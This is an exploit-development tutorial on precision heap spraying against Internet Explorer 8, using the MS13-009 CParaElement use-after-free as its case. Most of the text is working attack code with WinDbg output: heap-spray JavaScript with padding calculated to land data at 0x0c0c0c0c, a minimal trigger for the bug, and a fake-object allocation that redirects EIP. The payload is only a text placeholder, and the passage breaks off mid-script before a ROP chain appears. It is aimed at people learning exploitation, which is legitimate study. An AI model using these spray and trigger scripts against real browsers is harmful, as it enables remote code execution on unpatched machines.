Hello and welcome back to part 2 of this 2-part tutorial about heap spraying. This tutorial will walk you through precision heap spraying on IE8. There are two basic cases where you will need to be extremely precise with your heap spray: (1) You have to deal with DEP in which case you need to be able to redirect execution flow to the beginning of your ROP-chain, (2) you are exploiting a Use-After-Free and need to satisfy the conditions of a Vtable Method. For your enjoyment (and Pain) I wanted to find an example which deals with both these issues however many of these vulnerabilities a quite complex and not necessarily suited for an introduction. Two things should be made clear here. First of all practice makes perfect, find vulnerabilities rip them apart, get slapped around, Try Harder, get slapped less and carry on. Secondly this tutorial doesn't focus on vulnerability analysis, as always these tutorials are about the obstacles you will face when writing exploits and how to overcome them.
Today we will looking at MS13-009, you can find the metasploit module here. I have also added some links below to reading material which I can highly recommend if you want to get a better grip on the subject.
Introduction
I suppose this topic needs some introduction however you will discover that many of the obstacles we will face are not unfamiliar to you. I will not be able to delve to deeply into all the finer points as that would take to much time. If some of the topics here seem unfamiliar to you I suggest you read Part 7 (Return Oriented Programming) and Part 8 (Spraying the Heap [Chapter 1: Vanilla EIP]) of this tutorial series in addition to the reading material above.
Before we talk about Use-After-Free we need to understand what vtables are. The C++ language allows base-classes to define virtual functions. Derived classes of the base-class can define their own implementation of these functions. Hence virtual functions allow derived classes to replace the implementation provided by the base-class. The compiler makes sure the replacement is always called whenever the object in question is actually of the derived class. All of this happens at runtime.
Vtables hold the pointers to the various implementations of the functions defined in the base-class. When a function needs to be called at runtime the appropriate pointer is selected from the vtable in accordance with the derived class that needs it. We can see a graphical representation of this below.
Use-After-Free vulnerabilities are often quite complex and their cause varies from case to case. Normally execution flow works like this: (1) At some point an object gets created and is associated with a vtable then (2) later the object gets called by a vtable pointer. If we free the object before it gets called the program will crash when it later tries to call the object (eg: it tries to Use the object After it was Freed – UAF).
To exploit this issue we will generically perform the following steps: (1) At some point an object gets created, (2) we trigger a free on this object, (3) we create our own object which resembles as closely as possible the original objects size, (4) later when the vtable pointer is called our fake object will be used and we gain code execution.
As usual all of this sounds terribly complicated but things will become more clear with our practical example. First we will create a reliable heap spray to get that out of the way then we will focus our attention on ms13-009!
Heaps of Shellcode
As we did in Part 8 I want to begin by getting a reliable heap spray on IE8. Continuing the work we did before we can start off with the following POC. This POC has been slightly modified from the version that was in Part 8. The main difference here is that I have added a function called alloc which takes our buffer as input and adjusts the size of the allocations so they match the BSTR specifications (we need to subtract 6 to compensate for the BSTR header and footer and divide by two because we are using unicode unescape).
<html>
<script>
//Fix BSTR spec
function alloc(bytes, mystr) {
while (mystr.length<bytes) mystr += mystr;
return mystr.substr(0, (bytes-6)/2);
}
block_size = 0x1000; // 4096-bytes
NopSlide = '';
var Shellcode = unescape(
'%u7546%u7a7a%u5379'+ // ASCII
'%u6365%u7275%u7469'+ // FuzzySecurity
'%u9079');
for (c = 0; c < block_size; c++){
NopSlide += unescape('%u9090');}
NopSlide = NopSlide.substring(0,block_size - Shellcode.length);
var OBJECT = Shellcode + NopSlide;
OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
var evil = new Array();
for (var k = 0; k < 150; k++) {
evil[k] = OBJECT.substr(0, OBJECT.length);
}
alert("Spray Done!");
</script>
</html>
Let's have a quick look in the debugger and see what happens when we execute this spray.
Looking at the default process heap we can see that our spray accounts for 98,24% of the busy blocks, we
can tell it is our spray because the blocks have a size of 0xfffe0 (= 1 mb).
0:019> !heap -stat -h 00150000
heap @ 00150000
group-by: TOTSIZE max-display: 20
size #blocks total ( %) (percent of total busy bytes)
fffe0 97 - 96fed20 (98.24)
3fff8 3 - bffe8 (0.49)
7ff8 f - 77f88 (0.30)
1fff8 3 - 5ffe8 (0.24)
1ff8 28 - 4fec0 (0.20)
fff8 3 - 2ffe8 (0.12)
3ff8 7 - 1bfc8 (0.07)
ff8 13 - 12f68 (0.05)
7f8 1e - ef10 (0.04)
8fc1 1 - 8fc1 (0.02)
5fc1 1 - 5fc1 (0.02)
57e0 1 - 57e0 (0.01)
3f8 15 - 5358 (0.01)
4fc1 1 - 4fc1 (0.01)
5e4 b - 40cc (0.01)
3980 1 - 3980 (0.01)
20 1bb - 3760 (0.01)
388 d - 2de8 (0.01)
2cd4 1 - 2cd4 (0.01)
480 7 - 1f80 (0.01)
Listing only the allocation with a size of 0xfffe0 we can see that our spray is huge stretching from
0x03680018 to 0x0d660018. Another important thing to notice is that the Heap Entry Addresses all seem
to end like this 0x????0018, this is a good indicator that our spray is reliable.
0:019> !heap -flt s fffe0
_HEAP @ 150000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
03680018 1fffc 0000 [0b] 03680020 fffe0 - (busy VirtualAlloc)
03a30018 1fffc fffc [0b] 03a30020 fffe0 - (busy VirtualAlloc)
03790018 1fffc fffc [0b] 03790020 fffe0 - (busy VirtualAlloc)
038a0018 1fffc fffc [0b] 038a0020 fffe0 - (busy VirtualAlloc)
03b40018 1fffc fffc [0b] 03b40020 fffe0 - (busy VirtualAlloc)
03c50018 1fffc fffc [0b] 03c50020 fffe0 - (busy VirtualAlloc)
[...snip...]
0d110018 1fffc fffc [0b] 0d110020 fffe0 - (busy VirtualAlloc)
0d220018 1fffc fffc [0b] 0d220020 fffe0 - (busy VirtualAlloc)
0d330018 1fffc fffc [0b] 0d330020 fffe0 - (busy VirtualAlloc)
0d440018 1fffc fffc [0b] 0d440020 fffe0 - (busy VirtualAlloc)
0d550018 1fffc fffc [0b] 0d550020 fffe0 - (busy VirtualAlloc)
0d660018 1fffc fffc [0b] 0d660020 fffe0 - (busy VirtualAlloc)
0:019> d 03694024-10
03694014 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03694024 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90 FuzzySecurity...
03694034 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03694044 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03694054 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03694064 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03694074 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03694084 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:019> d 03694024-10+2000
03696014 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03696024 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90 FuzzySecurity...
03696034 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03696044 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03696054 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03696064 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03696074 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03696084 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:019> d 03694024-10+4000
03698014 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03698024 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90 FuzzySecurity...
03698034 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03698044 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03698054 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03698064 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03698074 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03698084 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
We are particularly interested in the address 0x0c0c0c0c. Since this address has been allocate on the heap
by our spray we can use the command below we can find out which Heap Entry 0x0c0c0c0c belongs to.
0:019> !heap -p -a 0c0c0c0c
address 0c0c0c0c found in
_HEAP @ 150000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0c010018 1fffc 0000 [0b] 0c010020 fffe0 - (busy VirtualAlloc)
The image below is a visual representation of our spray. We have filled the heap with 150mb of our own data, these 150mb are divided into 150 chunks of 1mb (each chunk is stored as a separate BSTR object). This BSTR object is in turn filled with blocks of 0x1000 hex (4096-bytes) that contain our shellcode and our NOP's.
So far so good! Next we need to realign our heap spray so the shellcode variable points exactly at 0x0c0c0c0c which will be the beginning of our ROP chain. Consider if 0x0c0c0c0c is allocated somewhere in memory because of our heap spray then it must have a specific offset inside our 0x1000 block. What we will want to do is calculate the offset from the start of the block to 0x0c0c0c0c and add that as padding to our spray.
________________________ ________________________
| | | |
| Shellcode | | Padding |
|------------------------| | |
| | | |
| | | |
| | | |
| | | |
| | <-- 0x0c0c0c0c |------------------------| <-- 0x0c0c0c0c
| | Points into our | | Points at the
| NOP's | NOP's. | Shellcode | beginning of our
| | | | shellcode.
| | | |
| | | |
| | | |
| | | [+ NOP's] |
| | | |
| (0x1000 Block) | | (0x1000 Block) |
|________________________| |________________________|
If you rerun the spray above you will notice that 0x0c0c0c0c will not always point to the same Heap Entry however the offset from the start of our 0x1000 hex block to 0x0c0c0c0c will always remain constant. We already have all the information that we need to calculate the size of our padding.
0:019> !heap -p -a 0c0c0c0c
address 0c0c0c0c found in
_HEAP @ 150000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0c010018 1fffc 0000 [0b] 0c010020 fffe0 - (busy VirtualAlloc)
0x0c0c0c0c (Address we are interested in)
- 0x0c010018 (Heap Entry Address)
----------
0xb0bf4 => Distance between the Heap Entry address and 0x0c0c0c0c, this value will be different from
spray to spray. Next we need to find out what the offset is in our 0x1000 hex block. We
can do this by subtracting multiples of 0x1000 till we have a value that is smaller than
0x1000 hex (4096-bytes).
0xbf4 => We need to correct this value based on our allocation size => (x/2)-6
0x5f4 => If we insert a padding of this size in our 0x1000 block it will align our shellcode
exactly to 0x0c0c0c0c.
Let's modify the POC and rerun the spray in the debugger.
<html>
<script>
//Fix BSTR spec
function alloc(bytes, mystr) {
while (mystr.length<bytes) mystr += mystr;
return mystr.substr(0, (bytes-6)/2);
}
block_size = 0x1000;
padding_size = 0x5F4; //offset to 0x0c0c0c0c inside our 0x1000 hex block
Padding = '';
NopSlide = '';
var Shellcode = unescape(
'%u7546%u7a7a%u5379'+ // ASCII
'%u6365%u7275%u7469'+ // FuzzySecurity
'%u9079');
for (p = 0; p < padding_size; p++){
Padding += unescape('%ub33f');}
for (c = 0; c < block_size; c++){
NopSlide += unescape('%u9090');}
NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
var OBJECT = Padding + Shellcode + NopSlide;
OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
var evil = new Array();
for (var k = 0; k < 150; k++) {
evil[k] = OBJECT.substr(0, OBJECT.length);
}
alert("Spray Done!");
</script>
</html>
As we can see below we have managed to realign our shellcode to 0x0c0c0c0c. In fact when we search in memory for the string "FuzzySecurity" we can see that all locations end in the same bytes 0x?????c0c.
0:019> !heap -stat -h 00150000
heap @ 00150000
group-by: TOTSIZE max-display: 20
size #blocks total ( %) (percent of total busy bytes)
fffe0 97 - 96fed20 (98.18)
3fff8 3 - bffe8 (0.49)
7ff8 f - 77f88 (0.30)
1fff8 3 - 5ffe8 (0.24)
1ff8 2b - 55ea8 (0.22)
fff8 4 - 3ffe0 (0.16)
3ff8 8 - 1ffc0 (0.08)
ff8 13 - 12f68 (0.05)
7f8 1e - ef10 (0.04)
8fc1 1 - 8fc1 (0.02)
5fc1 1 - 5fc1 (0.02)
57e0 1 - 57e0 (0.01)
3f8 15 - 5358 (0.01)
4fc1 1 - 4fc1 (0.01)
5e4 b - 40cc (0.01)
3980 1 - 3980 (0.01)
20 1bb - 3760 (0.01)
388 d - 2de8 (0.01)
2cd4 1 - 2cd4 (0.01)
480 7 - 1f80 (0.01)
0:019> s -a 0x00000000 L?7fffffff "FuzzySecurity"
[...snip...]
0c0c0c0c 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90 FuzzySecurity...
[...snip...]
0d874c0c 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90 FuzzySecurity...
0d876c0c 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90 FuzzySecurity...
0d878c0c 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90 FuzzySecurity...
0d87ac0c 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90 FuzzySecurity...
0d87cc0c 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90 FuzzySecurity...
0d87ec0c 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90 FuzzySecurity...
0:019> d 0c0c0c0c-20
0c0c0bec 3f b3 3f b3 3f b3 3f b3-3f b3 3f b3 3f b3 3f b3 ?.?.?.?.?.?.?.?.
0c0c0bfc 3f b3 3f b3 3f b3 3f b3-3f b3 3f b3 3f b3 3f b3 ?.?.?.?.?.?.?.?.
0c0c0c0c 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90 FuzzySecurity...
0c0c0c1c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0c0c0c2c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0c0c0c3c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0c0c0c4c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0c0c0c5c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
So we have now managed to realign our heap spray in such a manner that we can make our shellcode to point to an arbitrary address of our choice (in this case 0x0c0c0c0c). The heap spray works on IE7-8 and has been tested on Windows XP and Windows 7. With some modification it can be made to work on IE9 as well but that is outside the scope of this tutorial.
A Closer Look at MS13-009
As mentioned before, the main goal of this tutorial is not to analyze the vulnerability it is to understand what obstacles you face when writing the exploit. We will however take a quick look at the vulnerability to understand what is happening. The following POC is the most streamlined case file that triggers the bug.
<!doctype html>
<html>
<head>
<script>
setTimeout(function(){
document.body.style.whiteSpace = "pre-line";
//CollectGarbage();
setTimeout(function(){document.body.innerHTML = "boo"}, 100)
}, 100)
</script>
</head>
<body>
<p> </p>
</body>
</html>
Ok let's have a look in the debugger to see what happens when we trigger the vulnerability. You will notice that I have added (but commented out) the CollectGarbage() function. During my testing I noticed that the bug is a bit unreliable (only about 80%) so I was experimenting with CollectGarbage() to see if that would improve the reliability. CollectGarbage() is a function exposed by javascript which empties four bins which are implemented through a custom heap management engine in oleaut32.dll. This will only become relevant later when we try to allocate our own fake object on the heap. From my testing I could not determine that it made any difference but if anyone has any input about this leave a comment below.
From the execution flow below we can see that an object is trying to call a function in a vtable at an offset of 0x70 hex from EAX.
0:019> g
(e74.f60): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00205618 ecx=024e0178 edx=00000000 esi=0162bcd0 edi=00000000
eip=3cf76982 esp=0162bca4 ebp=0162bcbc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mshtml!CElement::Doc+0x2:
3cf76982 8b5070 mov edx,dword ptr [eax+70h] ds:0023:00000070=????????
0:008> uf mshtml!CElement::Doc
mshtml!CElement::Doc:
3cf76980 8b01 mov eax,dword ptr [ecx]
3cf76982 8b5070 mov edx,dword ptr [eax+70h]
3cf76985 ffd2 call edx
3cf76987 8b400c mov eax,dword ptr [eax+0Ch]
3cf7698a c3 ret
The stacktrace shows us what execution flow was like leading up to the crash. If we unassemble at the return address where the call was supposed to return to if it had not crashed we can see how our function was called. It seems like some object in EBX passed it's vtable pointer to ECX and that is then later referenced by mshtml!CElement::Doc to call a function at an offset of 0x70 hex.
0:008> knL
# ChildEBP RetAddr
00 0162bca0 3cf149d1 mshtml!CElement::Doc+0x2
01 0162bcbc 3cf14c3a mshtml!CTreeNode::ComputeFormats+0xb9
02 0162bf68 3cf2382e mshtml!CTreeNode::ComputeFormatsHelper+0x44
03 0162bf78 3cf237ee mshtml!CTreeNode::GetFancyFormatIndexHelper+0x11
04 0162bf88 3cf237d5 mshtml!CTreeNode::GetFancyFormatHelper+0xf
05 0162bf98 3d013ef0 mshtml!CTreeNode::GetFancyFormat+0x35
06 0162bfb8 3d030be9 mshtml!CLayoutBlock::GetDisplayAndPosition+0x77
07 0162bfd4 3d034850 mshtml!CLayoutBlock::IsBlockNode+0x1e
08 0162bfec 3d0347e2 mshtml!SLayoutRun::GetInnerNodeCrossingBlockBoundary+0x43
09 0162c008 3d0335ab mshtml!CTextBlock::AddSpansOpeningBeforeBlock+0x1f
0a 0162d71c 3d03419d mshtml!CTextBlock::BuildTextBlock+0x280
0b 0162d760 3d016538 mshtml!CLayoutBlock::BuildBlock+0x1ec
0c 0162d7e0 3d018419 mshtml!CBlockContainerBlock::BuildBlockContainer+0x59c
0d 0162d818 3d01bb86 mshtml!CLayoutBlock::BuildBlock+0x1c1
0e 0162d8dc 3d01ba45 mshtml!CCssDocumentLayout::GetPage+0x22a
0f 0162da4c 3cf5bdc7 mshtml!CCssPageLayout::CalcSizeVirtual+0x254
10 0162db84 3cee2c95 mshtml!CLayout::CalcSize+0x2b8
11 0162dc20 3cf7e59c mshtml!CView::EnsureSize+0xda
12 0162dc64 3cf8a648 mshtml!CView::EnsureView+0x340
13 0162dc8c 3cf8a3b9 mshtml!CView::EnsureViewCallback+0xd2
14 0162dcc0 3cf750de mshtml!GlobalWndOnMethodCall+0xfb
15 0162dce0 7e418734 mshtml!GlobalWndProc+0x183
16 0162dd0c 7e418816 USER32!InternalCallWinProc+0x28
17 0162dd74 7e4189cd USER32!UserCallWinProcCheckWow+0x150
18 0162ddd4 7e418a10 USER32!DispatchMessageWorker+0x306
19 0162dde4 3e2ec29d USER32!DispatchMessageW+0xf
1a 0162feec 3e293367 IEFRAME!CTabWindow::_TabWindowThreadProc+0x54c
1b 0162ffa4 3e135339 IEFRAME!LCIETab_ThreadProc+0x2c1
1c 0162ffb4 7c80b729 iertutil!CIsoScope::RegisterThread+0xab
1d 0162ffec 00000000 kernel32!BaseThreadStart+0x37
0:008> u 3cf149d1-7
mshtml!CTreeNode::ComputeFormats+0xb2:
3cf149ca 8b0b mov ecx,dword ptr [ebx]
3cf149cc e8af1f0600 call mshtml!CElement::Doc (3cf76980)
3cf149d1 53 push ebx
3cf149d2 891e mov dword ptr [esi],ebx
3cf149d4 894604 mov dword ptr [esi+4],eax
3cf149d7 8b0b mov ecx,dword ptr [ebx]
3cf149d9 56 push esi
3cf149da e837010000 call mshtml!CElement::ComputeFormats (3cf14b16)
We can confirm our suspicions by looking at some register values.
0:008> d ebx
00205618 78 01 4e 02 00 00 00 00-4d 20 ff ff ff ff ff ff x.N.....M ......
00205628 51 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 Q...............
00205638 00 00 00 00 00 00 00 00-52 00 00 00 00 00 00 00 ........R.......
00205648 00 00 00 00 00 00 00 00-00 00 00 00 80 3f 4e 02 .............?N.
00205658 01 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
00205668 a5 0d a8 ea 00 01 0c ff-b8 38 4f 02 e8 4f 20 00 .........8O..O .
00205678 71 02 ff ff ff ff ff ff-71 01 00 00 01 00 00 00 q.......q.......
00205688 f8 4f 20 00 80 4b 20 00-f8 4f 20 00 98 56 20 00 .O ..K ..O ..V .
0:008> d ecx
024e0178 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
024e0188 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
024e0198 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
024e01a8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
024e01b8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
024e01c8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
024e01d8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
024e01e8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0:008> r
eax=00000000 ebx=00205618 ecx=024e0178 edx=00000000 esi=0162bcd0 edi=00000000
eip=3cf76982 esp=0162bca4 ebp=0162bcbc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
By using some crafty breakpoints we can track the allocations which are made by mshtml!CTreeNode to see if any familiar values pop up. The results below indicate that EBX points at CparaElement and that the function which should have been called was Celement::SecurityContext. This seems to correspond with the vulnerability description for MS13-009: "A Use-After-Free vulnerability in Microsoft Internet Explorer where a CParaElement node is released but a reference is still kept in CDoc. This memory is reused when a CDoc re-layout is performed.".
0:019> bp mshtml!CTreeNode::CTreeNode+0x8c ".printf \"mshtml!CTreeNode::CTreeNode allocated obj at %08x,
ref to obj %08x of type %08x\\n\", eax, poi(eax), poi(poi(eax)); g"
0:019> g
mshtml!CTreeNode::CTreeNode allocated obj at 002059d8, ref to obj 024d1f70 of type 3cebd980
mshtml!CTreeNode::CTreeNode allocated obj at 002060b8, ref to obj 024d1e80 of type 3cebd980
mshtml!CTreeNode::CTreeNode allocated obj at 002060b8, ref to obj 0019ef80 of type 3cf6fb00
mshtml!CTreeNode::CTreeNode allocated obj at 00206218, ref to obj 024d1e80 of type 3cecf528
mshtml!CTreeNode::CTreeNode allocated obj at 00205928, ref to obj 024d1be0 of type 3cecf7f8
mshtml!CTreeNode::CTreeNode allocated obj at 00206008, ref to obj 024ff7d0 of type 3cecfa78
mshtml!CTreeNode::CTreeNode allocated obj at 00205c98, ref to obj 024151c0 of type 3ceca868
mshtml!CTreeNode::CTreeNode allocated obj at 002054b0, ref to obj 024ff840 of type 3cedcfe8
mshtml!CTreeNode::CTreeNode allocated obj at 00205fb0, ref to obj 024d1c10 of type 3cee61e8
mshtml!CTreeNode::CTreeNode allocated obj at 00206060, ref to obj 030220b0 of type 3cebd980
mshtml!CTreeNode::CTreeNode allocated obj at 002062c8, ref to obj 03022110 of type 3cecf528
mshtml!CTreeNode::CTreeNode allocated obj at 00206320, ref to obj 03022170 of type 3cecf7f8
mshtml!CTreeNode::CTreeNode allocated obj at 00206378, ref to obj 024ffb88 of type 3cecfa78
mshtml!CTreeNode::CTreeNode allocated obj at 002063d0, ref to obj 024ffb50 of type 3cedcfe8
(b54.cd4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00205fb0 ecx=024d0183 edx=00000000 esi=0162bcd0 edi=00000000
eip=3cf76982 esp=0162bca4 ebp=0162bcbc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mshtml!CElement::Doc+0x2:
3cf76982 8b5070 mov edx,dword ptr [eax+70h] ds:0023:00000070=????????
0:008> ln 3cee61e8
(3cee61e8) mshtml!CParaElement::`vftable' | (3d071410) mshtml!CUListElement::`vftable'
Exact matches:
mshtml!CParaElement::`vftable' = <no type information>
0:008> ln poi(mshtml!CParaElement::`vftable'+0x70)
(3cf76950) mshtml!CElement::SecurityContext | (3cf76980) mshtml!CElement::Doc
Exact matches:
mshtml!CElement::SecurityContext (<no parameter info>)
MS13-009 EIP
As I mentioned before the main focus here is how to overcome the obstacles we face during the exploit development process so I will be not take time to explain how to acclocate our own object on the heap. Instead I will use a snippet from a publicly available exploit. Our new POC can be seen below.
<!doctype html>
<html>
<head>
<script>
var data;
var objArray = new Array(1150);
setTimeout(function(){
document.body.style.whiteSpace = "pre-line";
//CollectGarbage();
for (var i=0;i<1150;i++){
objArray[i] = document.createElement('div');
objArray[i].className = data += unescape("%u0c0c%u0c0c");
}
setTimeout(function(){document.body.innerHTML = "boo"}, 100)
}, 100)
</script>
</head>
<body>
<p> </p>
</body>
</html>
Again notice the CollectGarbage() function, feel free to play around with it and see if it makes any significant difference when trying to allocate the object. Lets have a look in the debugger and see what happens when we execute this POC.
0:019> g
(ee4.d9c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c0c0c ebx=00205fb0 ecx=024c0018 edx=00000000 esi=0162bcd0 edi=00000000
eip=3cf76982 esp=0162bca4 ebp=0162bcbc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mshtml!CElement::Doc+0x2:
3cf76982 8b5070 mov edx,dword ptr [eax+70h] ds:0023:0c0c0c7c=????????
0:008> d ebx
00205fb0 18 00 4c 02 00 00 00 00-4d 20 ff ff ff ff ff ff ..L.....M ......
00205fc0 51 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 Q...............
00205fd0 00 00 00 00 00 00 00 00-52 00 00 00 00 00 00 00 ........R.......
00205fe0 00 00 00 00 00 00 00 00-00 00 00 00 50 f7 4c 02 ............P.L.
00205ff0 01 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
00206000 78 0b a8 ea 00 01 0c ff-f8 1c 4e 02 70 57 20 00 x.........N.pW .
00206010 71 02 02 00 01 00 00 00-71 01 00 00 01 00 00 00 q.......q.......
00206020 80 57 20 00 48 5b 20 00-80 57 20 00 30 60 20 00 .W .H[ ..W .0` .
0:008> d ecx
024c0018 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
024c0028 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
024c0038 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
024c0048 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
024c0058 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
024c0068 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
024c0078 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
024c0088 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
0:008> uf mshtml!CElement::Doc
mshtml!CElement::Doc:
3cf76980 8b01 mov eax,dword ptr [ecx] /// eax = 0x0c0c0c0c
3cf76982 8b5070 mov edx,dword ptr [eax+70h] /// edx = 0x0c0c0c0c + 0x70 = DWORD 0x0c0c0c7c
3cf76985 ffd2 call edx /// call DWORD 0x0c0c0c7c
This sequence of instructions will end up calling the DWORD value of 0x0c0c0c7c (= EIP) if 0x0c0c0c7c is a valid location in memory which is not the case at the moment. Remember our heap spray was set to align the shellcode variable to 0x0c0c0c0c, we will see why this is necessary later. Just remember we can set EIP to whatever value that we want, for example the DWORD value of 0xaaaaaaaa. This can be achieved by overwriting EAX with 0xaaaaaaaa-0x70 = 0xaaaaaa3a. You can see an example of this below.
<!doctype html>
<html>
<head>
<script>
var data;
var objArray = new Array(1150);
setTimeout(function(){
document.body.style.whiteSpace = "pre-line";
//CollectGarbage();
for (var i=0;i<1150;i++){
objArray[i] = document.createElement('div');
objArray[i].className = data += unescape("%uaaaa%uaa3a"); //Will set edx to DWORD 0xaaaaaaaa [EIP]
}
setTimeout(function(){document.body.innerHTML = "boo"}, 100)
}, 100)
</script>
</head>
<body>
<p> </p>
</body>
</html>
Let's have a look in the debugger to verify that we will now end up overwriting EIP with 0xaaaaaaaa.
0:019> g
(8cc.674): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=aaaaaa3a ebx=002060a8 ecx=024c00c8 edx=00000000 esi=0162bcd0 edi=00000000
eip=3cf76982 esp=0162bca4 ebp=0162bcbc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mshtml!CElement::Doc+0x2:
3cf76982 8b5070 mov edx,dword ptr [eax+70h] ds:0023:aaaaaaaa=????????
0:019> d ecx
024c00c8 3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa ................
024c00d8 3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa ................
024c00e8 3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa ................
024c00f8 3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa ................
024c0108 3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa ................
024c0118 3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa ................
024c0128 3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa ................
024c0138 3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa ................
MS13-009 Code Execution
We have come quite a way! Putting together the work we have done so far we can start our journey to code execution. First order of business is to create our new POC which contains our spray and triggers the vulnerability.
<!doctype html>
<html>
<head>
<script>
//Fix BSTR spec
function alloc(bytes, mystr) {
while (mystr.length<bytes) mystr += mystr;
return mystr.substr(0, (bytes-6)/2);
}
block_size = 0x1000;
padding_size = 0x5F4; //0x5FA => offset 0x1000 hex block to 0x0c0c0c0c
Padding = '';
NopSlide = '';
var Shellcode = unescape(
'%u7546%u7a7a%u5379'+ // ASCII
'%u6365%u7275%u7469'+ // FuzzySecurity
'%u9079');
for (p = 0; p < padding_size; p++){
Padding += unescape('%ub33f');}
for (c = 0; c < block_size; c++){
NopSlide += unescape('%u9090');}
NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
var OBJECT = Padding + Shellcode + NopSlide;
OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
var evil = new Array();
for (var k = 0; k < 150; k++) {
evil[k] = OBJECT.substr(0, OBJECT.length);
}
var data;
var objArray = new Array(1150);
setTimeout(function(){
document.body.style.whiteSpace = "pre-line";
//CollectGarbage();
for (var i=0;i<1150;i++){
objArray[i] = document.createElement('div');
